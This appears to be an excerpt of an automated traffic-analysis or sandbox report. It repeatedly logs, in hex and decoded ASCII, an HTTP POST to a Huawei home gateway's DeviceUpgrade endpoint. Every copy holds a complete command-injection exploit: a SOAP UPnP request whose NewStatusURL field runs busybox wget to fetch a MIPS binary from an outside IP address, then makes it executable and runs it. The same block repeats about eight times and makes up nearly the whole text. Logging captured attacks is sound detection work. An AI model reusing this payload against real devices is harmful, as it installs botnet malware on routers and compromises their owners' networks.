73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 